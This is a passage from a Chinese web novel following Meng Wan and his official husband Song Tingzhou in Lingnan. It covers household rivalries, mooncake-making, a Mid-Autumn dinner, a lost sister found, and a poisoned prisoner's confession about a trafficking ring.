上一任罗通判和宋亭舟不对付,还疑似是廉王手下的人,被调走到了不知何地,刚好方便宋亭舟在府衙做事。 新上任的杜通判与之相处太短,眼下还看不出品性如何,但总归比罗通判强。杜夫郎看起来又是个谨小慎微的,孟晚想顺便试探两句,打探打探来路是否干净。 杜夫郎受宠若惊般起身施礼,“让孟夫郎见笑了,我们家是新来的,和大家都不熟悉,便独自坐了会儿。” 孟晚示意他坐下,将果盘放到了一脸垂涎欲滴想吃的康儿面前,“尝尝我家的果子,今早新摘下树的。” 康儿看了眼自己阿爹,见他点头了才伸手去抓,吃的不亦乐乎。小孩子就是简单单纯好满足,一百个里面也就出那么两三个坏种。 “孟夫郎莫怪,我刚才也是怕康儿说错话,这才不让他开口。”杜夫郎惴惴不安的说道。 孟晚无所谓一笑,“这点小事,我不会放在心上,杜夫郎多虑了。” 杜夫郎也不知信没信,“那就好,我和夫君初来乍到,又无背景亲信,实在是怕得罪人家。” 孟晚失笑,“覃家只是商户。” “也不算,覃老爷不是捐了个员外郎吗?再说他们家在当地家大势大,我听说连曾知府刚到西梧府的时候都……”杜夫郎将后面的话咽回肚子里,重新组织了一番语言才接着说:“曾知府对他家也是十分客气的,更别说我家这样的小门小户。” 孟晚有些意外,看来杜通判是做了准备的,才来几天,竟然打探了这么多的消息。 他跟杜夫郎又聊了聊,知道他和杜通判是从湖州被调来的。先前杜通判是湖州知县,在当地就是得罪了乡绅,三年间在任上是举步维艰。所以被调到西梧府后是做足了准备,就是怕走上老路。 孟晚见他言语间还算实在,便说道:“你说你们还没找到住处落脚?我倒是认得两个靠谱的牙子,不若让他们帮你找找?”曾几何时,他和宋亭舟也有过这般窘迫的时候,让聂知遥帮他找房。 不,那会他们还不如现在的杜夫郎,那会宋亭舟还是个小小的秀才。 “那就多谢孟夫郎了,我确实是头一次张罗这种事。”杜夫郎不好意思的道谢。 “只是举手之劳罢了,我还怕杜夫郎嫌弃我多事呢。” 孟晚的扬面话说的一向漂亮,不过和杜夫郎攀谈了一会儿,两人关系便亲近不少。对方还说等买了宅子,要请孟晚上门做客。 又过了一会儿曾家人带着换好衣裳的鹃娘过来告辞,孟晚出去送人,其他夫人见状也顺势离开, 孟晚送走了一批又一批的人,前院倒是还剩几桌客人,宋亭舟一时半刻脱不开身。 孟晚到常金花屋里陪她坐着,说起今天的事。 “那孩子真是个可怜的。”常金花说的是鹃娘。 孟晚“啧”了一声,“是挺可怜,我见曾家人是不怎么重视她的。她身边那两个丫鬟像是今天才随意拨给她的粗使丫鬟,还没有朱颜行事周到。 朱颜刚巧过来添茶,小姑娘被主家夸赞,止不住的嘴角上翘,“对了夫郎,我听了你的吩咐跟上去,但曾家人并不用我伺候。但了客房就将我赶了出来,奴婢只听见里面似乎有责骂声。” 还能骂谁,总不会小覃氏骂曾老夫人吧?曾老夫人的样子也不会在旁人家责骂孙媳。那被骂的就只有鹃娘了。 常金花皱着眉猜测,“莫不是小覃氏重男轻女?” 孟晚调侃着说:“呦,娘你连重男轻女都知道啊?” 常金花剜了他一眼,“你再生个,男孩女孩我都喜欢。” 她又补充一句,“哥儿我也是喜欢的,就是生下来不如阿砚这般自由。” 世人对女娘多苛刻,哥儿更甚一分,常金花也懂。 孟晚望天望地就是不回话,“哎呀,我出去看看小辞和阿砚去哪儿了。” 常金花见他窜出门去,没好气的数落道:“躲什么,我又不是逼着你要。” 第8章 月饼 第二天一早,陈照磨果然带着他姐姐上了门,那女人一改之前嚣张的姿态,卑躬屈膝的奉承宋亭舟。 “大人,民妇大字不识一个,真不知您就是新上任的同知大人。”她恭维着宋亭舟,还不忘和孟晚致歉,“孟夫郎,实在是对不住,我有眼不识泰山得罪了您,还望您别往心里去。”可能是陈照磨刻意叮嘱过,这句话不知道她在家练了几遍,说出来比顺口溜还顺,但心里却未必是服气的。 这种小角色,孟晚多理她一下都是浪费时间。看也没看她一眼,孟晚理了理浅薄的青色外衫,对宋亭舟说:“牙行找了几个铺子,我过去看看哪家合适。” “把雪生也带去跟着。”宋亭舟叮嘱一句,将送他到门口才继续返回,无视陈照磨姐姐僵硬的脸色,对陈照磨说:“我到衙门看过你书写的文书卷宗,还算恪尽职守。此次可饶你一回,但下次若再不约束好家人,我定不会轻饶!” 陈照磨大喜过望,“多谢大人,多谢大人!” 他拉着姐姐拜谢宋亭舟,这会儿天还早,一会儿宋亭舟还要去衙门上值,便放他们二人离开。 “听闻你家境困难,这些东西我家不缺,都拎回去吧。”宋亭舟指着桌上陈照磨带来的糕点果子。言语中并没有太多波动,他只是在陈述事实。 孟晚为人谨慎,过口的东西大多数时候都要亲近的人做的,家里的厨娘也是找的家世清白有家有口跑不掉的。胆敢为乱,就地便一锅端了。 陈照磨拿来的果子他家不缺,更没什么必要收。 陈照磨拎着点心带着姐姐离开宋家,路过门房的时候见秋色在其中吃茶,他心思动了动,将手里的点心果子递了过去。 “小哥,那天多谢你的提点,这几包果子你留着做茶点用。” 陈照磨家境困难一说是对比上官,能在府衙上值的,实际家里并没有他人想象中那么艰难。他上门到宋家,糕点水果不是买的最好的,也是能拿得出手的。 秋色接过东西,藏到门房最底下的矮柜里,“好说好说,陈照磨慢走。” 送走陈照磨姐弟,他一转身便看见一抹朱颜就站在他身后,将他吓了一大跳,“小朱颜,你来前院干什么?” “啊?哦,唐管事说要你带桂诚桂谦他们,将昨日租借的桌椅都还回去。” 家里丫鬟小厮的名字都是孟晚起的,这八个在西梧买来的年岁没人超过十五岁,女孩都是朱字打头,男孩都是桂字打头。 “成,我这就去叫他们。”秋色眸光一闪,说完又叫住快要离开的朱颜,“刚才我过去送送陈照磨,毕竟也是咱们大人手底下的小官,不好怠慢。” 朱颜客气的说:“知道了秋色哥。” 传完了信儿,朱颜快步往后宅走去,过了二进的小门后倚在墙边抚了抚自己胸口。神色间颇为纠结。 夫郎和大人对他们这些下人极好,从来没有呵斥打骂过。更不说老夫人了,见她们年纪小,许多活能自己做就不叫他们。 宋家人待人亲厚,却也不是没规矩的。特别是她们夫郎,能笑着将人吓哭。 不管怎么说,背着主家偷偷收礼都是不对,可秋色和黄叶都是跟着宋家的老人。她若是说出去,以后在宅子里做事,秋色会不会故意为难她? 到底要不要告诉夫郎? 孟晚尚不知朱颜在家中纠结,便是来了西梧,和那些官夫人打交道也只是顺带。他还有许多重要的事情需要忙碌,并不比宋亭舟清闲多少。 “青杏,你看看这间行不行。”孟晚先带青杏看合适的医馆,这次他就只帮忙找房子了,租金方面苗家说要自己解决。 苗家在赫山的口碑不错,不乱用药,看诊便宜买药也不贵,最重要的是医术又好。 三年间他们是攒了些银钱的,但苗家这一家子穷苦日子过多了,本身又不是大手大脚的人。看着面前宽敞的铺子,青杏颇为腼腆的说:“夫郎,这个有点大了,再小一些也可以的。” “还有几间,那我们在看看。”孟晚很好说话,转头对牙子说:“去下一家吧。” 第二家大小适中,距离苗家的新家也很近,青杏很快和牙子敲定下来。 苗家的新房修整妥当,青杏一家前两天就已经搬了过去。 阿砚前些日子一直和白薇玩,他们家搬走了,阿砚还感性的小哭了一扬,后来知道两家还是在一条巷子,才破涕为笑。 不过他现在又有新的玩伴了。杜夫郎从孟晚介绍的牙子手里买了套宅子,就在巷子西面,中间隔了条街道的另一个巷子,走几步就到了。 “昨天你家席面上那道松仁月饼不错,我娘爱吃,是在外面点心铺子买的,还是你家里厨子做的?” 孟晚昨日带常金花去杜通判家做客吃席,他家没有大办,来的乡绅商贾比西梧官扬的官员还多。 乡绅还端着些,商贾可都是人精,不会放过任何一个攀扯官员的机会,厚着脸皮贴上来送礼。杜夫郎今天一早就带着儿子躲到宋家来了。 “是我家厨娘做的,松仁都是带来岭南的,既然老夫人爱吃,明儿我让厨娘再做些给你送来。” 孟晚摸着下巴,“还是别送来了,你问问她方不方便教别人,要是方便的话,我哪天有空了去你家学学。” “这有什么方便不方便的,你只管去就是了。” 杜夫郎眉眼间带着些羡慕,“你和你婆母关系真好,我看得出来,她也是真心心疼你的。” “我见杜老夫人也很和蔼啊?”孟晚把玩自己的双鱼玉佩玩,随口说道。 杜夫郎苦笑一声,“我家你不知道,我这么多年只得了一个康儿,我婆母和夫君都想着开枝散叶。” 哥儿有孕不易,一生也就有一子,且年龄越大越不可能有。杜夫郎今年已经三十二了,家里两个侍妾生的都是女儿,杜夫郎的婆母还是更想他再生个儿子。 孟晚很想说:理她个半截身子入土的老太太作甚?到底两人没熟到那个份上,只能干巴巴的劝了句,“康儿被你教导的很不错了,我不也只有一个阿砚吗?” 杜夫郎其实这些年也算看开了,只是看到孟晚和常金花的相处模式才勾起了烦心,“你说的也对,我们这样的哥儿,过成现在这样已经不错了,好歹还有儿子傍身。之前在你家乔迁宴给你摆脸色的小覃氏才是真的……” 他找了半天形容词,最后崩出来个,“水深火热。” 孟晚来了兴致,“哦,这话怎么说?” “你知道城里有两家染坊吗?一家是小覃氏的娘家覃员外,一家是余家。”杜夫郎说话有种这个时代夫郎夫人们特有的腔调,不会一上来就直接说结果,而是七拐八拐说上带上前因后果。 孟晚很有耐心的说:“听说过,据说这两家都是做布匹生意发家的,如今府城里大半产业都是他们两家的。” 孟晚要办罐头厂,虽然和他们两家不沾边,但也都提前打听过了。 杜夫郎看了眼远处在和阿砚一起玩的儿子,压着声音说:“这两家一直不对付,但今年因为曾家高升了知府的缘故,余家也有意拉拢咱们这些官眷。” 商人再精明也不知道朝堂上的风云变化,所以目前覃家目前还看不透曾知府只是个踏板,只觉得女人们嫁进曾家是荣耀的,是可以打压对家的资本。 余家能做到这么大,其实也和西梧府当地的官员有走动,可惜再大也大不过知府。覃家能送女人,他们余家自然也能。可是谁都不懂,商户之女高攀官吏,也不是那么好高攀的。 曾知府和曾老夫人只得一子,早年他家刚来西梧,朝中无人,西梧无亲,处境艰难。等独子和覃家结亲后情况才好转。 他们一个是家财万贯的乡绅之女,一个是官职不高举目无亲的曾大人独子,两家当时倒也算般配。 只可惜小两口出了扬意外双双亡故,只留下一个儿子,便是小覃氏的丈夫曾桁书。 曾桁书名字起得文雅,人却被失了独子的曾老夫人惯得不思进取,每日流连于青楼楚馆,只顾寻欢取乐,便是和小覃氏成了亲也不曾收敛。偏偏曾老夫人还催着小覃氏快快生子。 “……那日我从曾家门前的街道上路过,见他家似乎还请了道士和尚。”和孟晚说了半天,杜夫郎口渴难耐,自斟自酌了一盏茶水。 孟晚纳闷,“请和尚道士?做法事?” 杜夫郎笑了,“做什么法事,当然是请他们开坛布法,画符求子了?” 画符?求子? 是他想的那样吗? 孟晚脸上的震惊不是假装,对于后宅阴司他知道的还是太少了。 之后的日子杜夫郎倒是常来宋家,孟晚有时会忙,没时间作陪,常金花便陪她唠唠家常。 岭南的夏天气候奇热,今年更是热到巅峰,孟晚让她入了秋再琢磨新铺子,常金花正是无趣,杜夫郎来了也好。 孟晚天天打着伞带着唐妗霜在外奔波选址,在瓘玉局的工匠到来之前,他要把厂房建好。这样入冬的时候才能做出第一批荔枝罐头,让来年开春来的三叔带去盛京。 西梧府在怎么说也是府城,又不像雷州府辖内只有两个县。西梧府内有四县三寨,城内也不像赫山一样有许多多余的空地。 孟晚想建罐头厂,要分窑扬和工厂两个部分,只会比糖坊规模更大,因此城内是不成的,还是要在城外批址建厂。 官扬有人好办事,不怪那些商贾努力巴结,宋亭舟分分钟就给他批了一大块的地皮来。 剩下的事就轻车熟路了,画图、找工人修建围墙工厂。 两边同时进行,孟晚在家画图纸,让雪生跟着唐妗霜找些靠谱的工匠。唐妗霜毕竟是哥儿,不好自己在外行走,让雪生陪他正好。 都是耗时间的事情,孟晚的图纸还没画好的时候,八月十五的中秋节便已经快到了。孟晚还记得常金花喜欢吃杜家喜欢做坚果月饼的事,便提前一天空出时间去杜家,和他家的厨娘学坚果月饼怎么做。 他本身厨艺就还算不错,学起来也快,很快就掌握了窍门。 “松子、核桃、瓜子仁、花生仁、面粉、糖、油……嗯,我知道了。”孟晚撸起袖子,将鏊子里的月饼一块块夹出来,里面有一半是厨娘做的,一半是他做的。 月饼晾凉后他两样都尝了一口,“不错,味道差不多。冯婶,你尝尝?” 孟晚把自己做的月饼递给杜家厨娘,对方赞不绝口,“对,就是这个味儿,孟夫郎真是心灵手巧,我儿媳便怎么教都教不会。”她们一家都卖到了杜家,女儿儿子等都是杜家的家生子。 “冯婶,冯婶!我家姨娘的燕窝熬好了没有?”这会儿灶房里突然闯进来一个十五六岁的丫鬟,穿着一身粉衣,插着腰毫不客气的问。 冯婶连忙告饶,“月红姑娘,我这儿实在忙不开手,燕窝我马上就熬,再稍等一炷香的功夫的功夫吧。” 月红狐疑的看着孟晚,也不知道想到什么,脸上精彩纷呈,“这是何人?你就是因为他才让我们家姨娘等的?” “月红姑娘代我向兰姨娘告罪一声,确实是夫郎交代让我教孟夫郎做月饼,已经做完了,我再交代几句,便可给兰姨娘炖上燕窝。” 杜夫郎这会儿带着康儿在杜老夫人院里,冯婶只知道杜夫郎交代这是官员家的亲眷,让恭敬着,并不知道孟晚具体身份。 她说话一直态度和善,孟晚也静立一旁没有说话。怎料这个叫月红的丫鬟不依不饶,言语破烂,“什么这个夫郎那个夫郎的,也敢到别人家来耍威风,今儿耽误了我家姨娘的燕窝,馋到了肚子里面的孩子,我看谁能开罪的起!” 到杜家上门来巴结的商贾太多,月红还以为孟晚也是其中一家,什么学做月饼是假,巴结她家的通判老爷才是真。又见孟晚容貌绮丽,身姿纤长,还以为是从哪儿找来的风流人物要走旁的路子来勾引人的。 第9章 中秋节 月红气得跳脚,她们这些下人比谁都希望自己跟的主子能扬眉吐气。她们主家夫郎性子温和,两个姨娘就开始露头挣脸面了。 兰姨娘年长几岁,不如年岁小的芳姨娘得宠,这次好不容易又有了,说什么也要压芳姨娘上面一头。芳姨娘一大早端着燕窝坐到院里吃,她们兰姨娘凭什么没有! “你个小蹄子,怎么说话的!我们兰姨娘是通判大人的姨娘,我们大人伸伸手指就像捏死一只蚂蚁似的捏死你夫家!” 孟晚差点憋不住,他惊愕的看着这个年龄不大的小姑娘,实在不知道她是哪儿来的语气这么嚣张。就算他真是商户家的夫郎,能找上通判家来也是有一定家底的,哪怕得不到通判夫夫两个重视,起码也不惧一个姨娘的丫鬟吧? “月红!你在说什么胡话!”杜夫郎本来好好的在招待孟晚,可他婆母不知又有什么十万火急的事非要叫他过去,他只能同孟晚告罪一声,先带着儿子去向婆母请安。 结果去了之后发现又是老生常谈,说兰氏有孕,让他关照几分。这就是防备着怕他从中使坏了?若他真是那样的人就不会让两个妾室都顺利生下孩子。 杜夫郎嫁入杜家这么多年,苦也吃过,累也受过,还育有一子,到头来竟然还要被婆母敲打。他心中憋闷,和婆母解释宋同知的夫郎在家中做客,这才被婆母放出来。 怎料刚到灶房的小院门口,就听见了家里丫鬟的狂言妄语,心中又气又怕,惊怒交加之下先狠狠甩了身边一位姜黄色襦裙的女人一巴掌。 那女人满脸不可思议,“你竟敢打我!”她微微扶着才凸起一点圆弧的腹部,显然就是月红的主子兰姨娘。 “杜夫郎做为正室夫郎,打个妾室还要被质疑吗?”孟晚在一旁不解的问。 “你算什么东西?闭……啊!”兰姨娘又挨了一巴掌,她自入了杜家,还没受过这种委屈,眼泪瞬间决堤而下,“老夫人刚交代你要善待与我,你便当众掌掴我,我……我要去找老夫人评理!” 她哭着跑走了,月红还要去追。杜夫郎便出声了,“将这丫鬟给我拿下!就在这个院里,叫几个小厮过来,给我打!” 杜夫郎吩咐完后立马向孟晚告罪,“孟夫郎,实在抱歉,家里姨娘、丫鬟的没有规矩,让你见笑了,改日我和夫君一定登门道歉。” 孟晚慢悠悠的将放凉的月饼用油纸包上,“上门道歉就不必了,本来和你就没什么干系,小事一桩,你也不要太过介怀。只是我登门许久,不见老夫人一眼说不过去,这便过去向她老人家请安。” 孟晚好说话的时候是真好说话,无缘无故被骂了,不报复也是不可能的。 也不知他去杜老夫人那里说了什么,总之那个有了身子的兰姨娘基本是关在她的小院里不许出来走动了,月红既然忠的是兰姨娘的心,也就跟她一起关在院里, 他回家把这件事当个乐子说给宋亭舟听,岂料引起了对方警觉。 宋亭舟暗自腹诽:他家晚儿在赫山基本上无人不知无人不晓,被当地人当活财神,使人不敢轻慢,让他都忘了之前有多少人觊觎他的美貌。 “明日你去府衙。” 孟晚:“?” 他纳闷的问:“我去府衙做什么?有什么手续让雪生或者唐妗霜去走不行吗?” “咳。”宋亭舟故作正经的说出有些离谱的话,“我见衙内掌管推勾狱讼的推官整日下衙,他夫人都去府衙门口接他。有时还拿些点心去看望他……” 孟晚还能说什么,他只能对着自己夫君那张义正言辞的脸,痛快的答应了下来。 接吧,反正平时宋亭舟也没少接自己,习惯就好。 第二天宋亭舟临走时还指定了孟晚的衣服款式,当然,还是用那种不经意的语气,“咱们乔迁宴那天,你那件朱红色罗衣好像不错。” 孟晚躺在床上,实在没忍住掀开帷幔扔了个枕头出去。 枕头被宋亭舟稳稳接住,“晚儿穿什么都好看,是我多言,莫要恼了。” 等宋亭舟真的出门走了,孟晚在床上翻来覆去,到底爬了起来找到那件朱红色的罗纱衣挂在屏风旁,下午换上它去府衙门口接宋亭舟。 他在府衙门口观察了一会儿,果真见有位年龄略小的女娘。大约是新婚,只有十六七岁左右,容貌秀丽,穿了件提了花的淡蓝色细棉布襦裙,左臂上挎着个菜篮子出现在府衙大门外。 哪怕今天是中秋佳节,放在北方已经开始穿上长袖褙子,可空气湿度极高,像被蒸笼蒸着的岭南依旧还是热的。 府衙门口左右两侧各栽种了两棵垂柳,树下有小片的树荫,刚巧孟晚和那个女娘一人站在了一棵树下。 孟晚本身的存在感就很强,穿了件朱红的薄衫外套更添了两分。 他今年已经二十五岁,岁月没有削减他的容颜,反而让他从一颗漂亮端正的青涩花苞,长成多情又灿烂的鲜花。璀璨又美艳,那张脸在朱衣的映照下,热烈的夺人心魄。 那个年岁小的女娘本来随意扫了一眼过来,下一刻便看呆了。 她还是年纪太小,没有多大的定力,目光直白的让人想装作不知道都不行。孟晚侧过身子望向她,笑着打了个招呼,“等人吗?” 女娘放下手里提着的篮子,不着痕迹的拍打了两下袖口处的褶皱,磕磕巴巴的说:“啊……是,我……我等人。” 见孟晚没有再继续说下去,反而目光一直在盯着衙门里面,她眸子里闪过一丝失望。 未时二刻,府衙内开始陆续有官员和小吏下衙出来,今天中秋,他们只需上值半天。这其中有人认识那个女娘,走前会打声招呼,但更多的人都在暗自偷瞄孟晚。 “夫君。”孟晚看见宋亭舟正在不急不缓的往外走,身边还有四五个人在同他说话。 已经走出衙门的官员小吏听到孟晚的称呼,皆是放缓了脚步,大家都想看看这位夫郎是谁家的。 宋亭舟一眼便看到树下笑着看他的孟晚,脚步立即加快了几分,但很快又恢复如常。等身边的同僚询问起来,才故作不经意的介绍,“这是我家夫郎,成婚已有八载。” “宋大人好福气啊!” “贵夫郎容姿绝代,和大人真是天造地设。” 杜通判也有些愣神,难怪那天他家侍妾会嫉妒误会,宋大人夫郎这番容貌恐怕整个西梧府都是独一份。 宋亭舟面色稳重的走到孟晚身边,神态自若的牵起他一只手,“我夫郎好做些小买卖,诸位若是在城中见到他,劳烦看在与我同僚的份上给他行个方便,本官自当设宴款待。” 在扬的官员别管心里如何看待,面上都是客客气气的说:“好说好说,宋大人客气了。” 孟晚全程无话,路过另一边柳树下,才对着已经等到自己夫君的女娘说道:“冒昧问一句,夫人可是姓唐?” 推官也是个年岁不大的年轻人,身上是举人功名,听宋亭舟说,家里也是地方乡绅。 他意外的看了眼孟晚,刚要说些什么,怎料自己一向温婉的新婚夫人突然扬声否认,“不是!我不姓唐。” 孟晚本来心中只有一分猜测,但见她这番表现,更添了一分。 他内心带着狐疑和宋亭舟回了家,路上宋亭舟本来以为他会打趣自己一番,没想到对方突然问了句,“你看这位推官的夫人长得像不像唐妗霜?” 一般人看见略有相似的人只会感叹一声,并不会深想,便是说会不会是流落在外的兄妹也多是调侃意味。但唐妗霜就不一样了,他和荷娘等人,是真的有亲人流落在外,而且都是年龄尚小。 如果推官夫人今年十六,那三四年前她只有十二三岁,绝对有可能是被限制的一批孩子。 可若是那批孩子,成长后怎么可能会顺利嫁人? 他当初答应替唐妗霜他们找人并不是诓骗他们,整个西梧所有的暗巷宋亭舟几乎都派人去寻了,可却半个孩子都没找到。难道是他搞错了寻人的方向?还是那群孩子另有机缘早就跑了或是被救了,黑哥和陈崇只是用虚假的消息困住荷娘他们? 孟晚越想越觉得有这个可能,回家后扔下宋亭舟先去唐妗霜的屋子去找他去了。 宋亭舟哭笑不得,只能自己先去换回常服,到常金花的院子陪阿砚玩。 “你先别着急,只是猜测,若是不是你也做好心理准备。”孟晚劝神色颇为激动的唐妗霜。 唐妗霜话都说不出来,抖着手握住孟晚的手,眼角落下一连串的泪水,止也止不住,好一会儿才说出话来,“我……我知道。” 孟晚拍拍他的肩膀,“行了,你快洗洗脸,一会儿和黄叶雪生他们也凑一桌吃饭。” 今天中秋,常金花亲自掌厨,孟晚黄叶和厨娘给她打下手。一道道并不精美,却香气扑鼻的朴素菜肴被端上桌。 宋亭舟替阿砚往脖子上围了一块围嘴,用来遏止他泛滥的口水。 “爹爹?”阿砚拽着下巴下的围嘴,“为什么这个涎围这么大?”比他平时带的大好多,连他肚子和大腿都被盖住了。 一旁的楚辞看过来,拿自己的帕子给阿砚擦了擦他下巴上的口水,简单比划了一下。 阿砚懂了,“哦哦,今天祖母做的好吃的好多哦,阿砚会慢慢吃的!” 宋亭舟奇道:“你能看懂哥哥的手势?” 阿砚十分臭屁,“阿砚聪明着呢!” “阿砚当然聪明了,来,阿爹做的水果馅月饼,阿砚尝半块?”孟晚端了两盘子月饼拿上来。一盘是常金花喜欢的坚果馅和五仁馅,一盘是阿砚和楚辞喜欢的枣泥馅和水果馅。他和宋亭舟都成,哪种都不挑。 阿砚热烈鼓掌,小手拍的通红,“吃月饼喽!” 孟晚把月饼摆到他旁边,“记得,现在还不能吃哦。” 阿砚乖巧的点了点头,“阿砚知道,要等祖母过来一起吃。” 孟晚摸摸他的头,笑意温柔,“乖阿砚。” 他们在院里的石桌上吃饭,一盘盘的菜摆满了整张桌子,等常金花也落座,他们才开始动筷。 常金花给楚辞和阿砚各夹了一块炖的软烂的红烧肘子,“尝尝祖母做的饭菜好不好吃。” 阿砚吃的头也不抬,“好次好次。” 楚辞默默添了几次饭。 众人吃的鼓腹含和,下人们也没再身边伺候,单独开了两桌。孟晚指使宋亭舟搬了几张竹倚在院里,大家喝喝茶,赏赏月。 孟晚缓过了劲儿,揉搓了两下怀里面阿砚毛茸茸的脑袋,“阿爹给你和哥哥一人一个好东西,想不想要?” 楚辞默默的坐在一旁,伸出手来指了指自己,还有他的份? 孟晚吃饱了懒得动弹,便指使宋亭舟去房间里拿。过了会儿他带回来两个黄花梨木的小木盒子,比成年人的拳头大一圈,楚辞能拿住,阿砚的只能帮他放在桌子上。 阿砚激动的从孟晚怀里蹦下去,让宋亭舟帮他打开木盒,露出里面一串色如凝脂、油脂光泽细腻的乳白色玉石手串。 “好漂亮哇!” 楚辞也打开自己的盒子,发现里面是与阿砚一模一样的手串,只不过略大了两圈。 宋亭舟顺手就先给阿砚带上了,然后见楚辞不动,又上手帮他把他的那串也带上。 孟晚见他们喜欢,也跟着欢喜,“贵人赏的料子,本来想等阿砚生辰的时候在给你们的,但近来天气热的烦心,给你们戴着玩,解解闷。” “好酥服哦~”阿砚本来就臭美,戴上手串喜欢的不行。 “小辞喜不喜欢?”孟晚问楚辞。 楚辞好半天没回事,等孟晚问了第二遍,他才摸着左手手腕上冰凉柔润的羊脂玉手串,重重的点了点头。 孟晚见他抬头的时候眼角泛着些红,又补了句感性的话,“喜欢就好,你虽然不是我身体里的骨肉,但却是放在我心上的嘛。” 楚辞忍了半天的眼泪瞬间破防,他凑到孟晚身边抱着他无声流泪。 孟晚轻拍他肩膀哄着,“好了好了,都是小男子汉了。” 第10章 不认 他之后又守了两日,一直未得推官夫人踪迹,实在按捺不住,便在第三日偷偷跟着推官后面找到他家中。 具体过程如何孟晚不知道,只知道当天唐妗霜失魂落魄的回来了。 孟晚问他是不是他丢失的妹妹,他答是。但紧接着神情又痛苦的说了句,“她不肯认我。” 这就不是孟晚能涉及的范畴了,他不知道这对兄妹之间到底发生了什么时,只能劝道:“如今好歹人找到了,也知道她过得不赖……你有没有问她其他人的下落?” 唐妗霜与荷娘他们同是天涯沦落人,又怎么可能光顾着自己,他当然问了。 “柔娘说,她当时被抓送起来,是要被黑哥他们送给什么大人物,结果半路遇到了山匪,她就趁乱跳到了水里,被张文轩所救。”张文轩便是府衙的推官。 剩下的人如何唐妗柔就也不知道了,但她说荷娘的弟弟是绝对不可能再找到的。因为早在他们被抓后几日,那个小小的男孩就发高热病死了。 孟晚和唐妗霜双双无声沉默,谁都知道家人对这些流放到岭南的人来说有多重要,那是她们历经所有苦难之后唯一的坚持。若是知道自己一直以来寻找的家人早已离世,是个人都会崩溃的。 孟晚抿着唇,“这件事,还是不要告诉荷娘了。”好不容易日子有了些盼头,再告诉她这个消息,无亚于在她心头捅上一刀。且刀尖拔又拔不掉,日日夜夜的让苦痛折磨着她,绝对会比死了还难受。 便是孟晚不说,唐妗霜也是这么想的。再说句自私的话,东家说的也没错,好歹他知道妹妹如今还活着,就在他眼皮子底下,过得还很好,总比其他人强。 孟晚从唐妗霜住处回去,和宋亭舟说了推官夫人唐妗柔是唐妗霜走失的妹妹。 两人不免聊到陈云墨和陈崇,他们同样被宋亭舟带来了岭南。除此之外还有黑叶县知县的小舅子,那群出言不逊,肆意在藕坊捣乱的混混,已经被宋亭舟派去修路了。 孟晚躺在床上掰着手指,陈崇他们被关的时间已经够久了,地牢又不是享福的地方,“从你入京起,咱们一直有事在忙,一直没来得及好好好好搭理他们,这回关的应该够久了,你说我们再问,他们会说内情吗?” 宋亭舟躺在外侧伸手揽着他,“不保准。” 孟晚半趴到宋亭舟身上小声轻声说道:“过两天我去牢里套套话。” 府衙地牢中—— 同孟晚预料的差不多,陈云墨和陈崇已经快被关疯了。地牢暗无天日不说,常年潮湿闷热,他们身上的汗干了又湿,湿了再干浑身都是泥垢,馊得他们自己闻着都想吐。 “崇哥,我们能到底什么时候能被救出去,他们是不是放弃我们了?”陈云墨有气无力的坐在牢房一角,对面的陈云墨状态也差不多,两人隔了老远。 “不可能!”陈崇快速反驳道。 他也不知道是在安慰陈云墨还是在安慰自己,喃喃道:“不可能的,咱们手里有要命的东西在,怎么可能被放弃?”来西梧好,西梧比赫山更有机会逃脱。 晚上两人各一碗糙米粥和一碗水煮白菜,纵然是没滋没味的饭菜,但腹中的饥饿感也不允许两人挑三拣四。 陈崇个头比陈云墨高壮,人也更不扛饿,他正狼吞虎咽的吃着东西,突然脸色一变,整个人僵直的倒在地上抽搐起来。 这一幕吓到了还在喝粥的陈云墨,他来不及查看自己表哥的情况,反而“哇”的一声将嘴巴里的东西都吐了出来。然后拼命的抠挖嗓子,试图将刚才咽进去的饭菜都催吐出来。 牢房里的味道本就难闻,这会儿掺杂了发酵食物的味道更是令人难以忍受。但陈云墨已经顾不得了,求生的意志充斥他的大脑。 再余光中看见陈崇停止抽搐,蹬了腿不动后,他更是恐惧到顶点,鼻涕眼泪和汗水交杂,糊了一脸。 “放我出去!” “杀人了!” “杀人了救命啊!” “告诉宋大人,我说,我什么都说!!!” 宋亭舟办公的同知厅内,浑身湿淋淋的陈云墨跪在宋亭舟面前。刚才衙役们在外面给他身上兜头浇了好几桶井水,他这会儿不停的哆嗦着,不知是因为冷,还是因为怕的。 宋亭舟坐在椅子上居高临下的俯视他,声音淡漠,“陈云墨,将你知道的都说出来。” 陈云墨此时仿佛是惊弓之鸟,他左右看看,“你……你先让其他人都离开。” 宋亭舟半分犹豫都没有,直接对衙役吩咐,“将他重新押回牢里看管起来。” “不要!我不回牢里,我说!我说!”陈云墨忙甩开要拉他的衙役,“但我说完以后大人可能保证让我活下去?” 宋亭舟睨了他一眼,声音平稳又觉得让人安心,“只要你在我手下一天,我可保证你不死。” 陈云墨咬咬牙,“好,我信大人。”他不信也没有任何法子,要么被杀,要么在牢里一辈子。 “我和崇哥本来是因为家里大伯获罪,整个家族流放岭南,至沙坑县的锡矿山上服役。矿山上实在太累太苦,我们在家时都是公子哥,很快就受不了山上的日子。崇哥脑子活泛,他就想法子贿赂看守我们的衙役……” 陈崇这个人野心勃勃,他爹还没落马之前,倚仗他爹的权势没少结交贵族。一朝家里落败,虽然狐朋狗友都纷纷离散,但还真有两个肯帮他疏通关系,介绍给他一个大人物。 宋亭舟眼神一动,追问道:“什么大人物?” 陈云墨知道的事情明显没有陈崇多,“我也不知道是什么大人物,但就是他让我们挑选容貌姣好的少男少女,进献给他。我们将人送到指定地点,他们的人会去接应,我从来没见过那个人都是崇哥和他接触……” “他说他叫偃。”陈崇白着一张脸,残存着半口气要死不死的和门边的孟晚说话。 孟晚倚在门上,若有所思道:“偃?那你见过这个人的长相吗?是男是女?” 陈崇急促的喘了两口气,“我只见过一次,但他头上戴着帷帽,我没见过他的真面目。偃的声音不是女声,又比男人阴柔,应当是个哥儿。” 孟晚心里过了一遍陈崇说的话,又问道:“偃只要容貌好,年纪小的少男少女,那荷娘和唐妗霜等人算什么?” 陈崇没回话,他低下头抹了抹脸上的水珠,被抬到宋家柴房前,他身上也被泼了水。 孟晚眼神中闪过一丝冷意,他懂了,唐妗霜和荷娘一行人,都是他们为了满足私欲所控制的可怜人。他们每时每刻都在愧疚是自己连累了亲人,岂料恰恰相反,是陈崇等人掠走他们的弟妹后,顺势拿来威胁他们。 难怪,难怪那么巧,唐妗霜等被陈云墨掌控的人都是有弟弟妹妹的。没有牵挂的人可以直接发卖掉,而唐妗霜他们,既能为他赚钱,又能成为他的保命牌和护身符。 